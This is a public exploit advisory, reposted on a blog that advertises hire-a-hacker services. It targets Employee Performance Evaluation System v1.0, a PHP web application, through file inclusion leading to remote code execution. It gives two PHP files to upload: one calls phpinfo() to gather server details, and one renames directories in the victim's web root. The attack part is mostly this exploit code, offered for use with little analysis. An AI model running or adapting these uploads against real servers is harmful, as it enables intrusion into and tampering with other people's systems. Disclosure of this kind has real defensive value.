Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86382675

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
## Exploit Title: Employee Performance Evaluation System v1.0 - File Inclusion and RCE
## Exploit Author: nu11secur1ty
## Date: 03.17.2023
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/

## Description:
The Employee Performance Evaluation System-1.0 suffer from File
Inclusion - RCE Vulnerabilities.
The usual user of this system is allowed to submit a malicious file or
upload a malicious file to the server.
After then this user can execute remotely the already malicious
included file on the server of the victim. This can bring the system
to disaster or can destroy all information that is inside or this
information can be stolen.

STATUS: CRITICAL Vulnerability


[+]Get Info:

```PHP
<?php
// by nu11secur1ty - 2023
	phpinfo();
?>

```
[+]Exploit:

```PHP
<?php
// by nu11secur1ty - 2023
// Old Name Of The file
$old_name = "C:/xampp7/htdocs/pwnedhost7/epes/" ;

// New Name For The File
$new_name = "C:/xampp7/htdocs/pwnedhost7/epes15/" ;

// using rename() function to rename the file
rename( $old_name, $new_name) ;

?>
```

## Proof Of Concept:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/oretnom23/2023/Employee-Performance-Evaluation-1.0

-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                   
nu11secur1ty <http://nu11secur1ty.com/>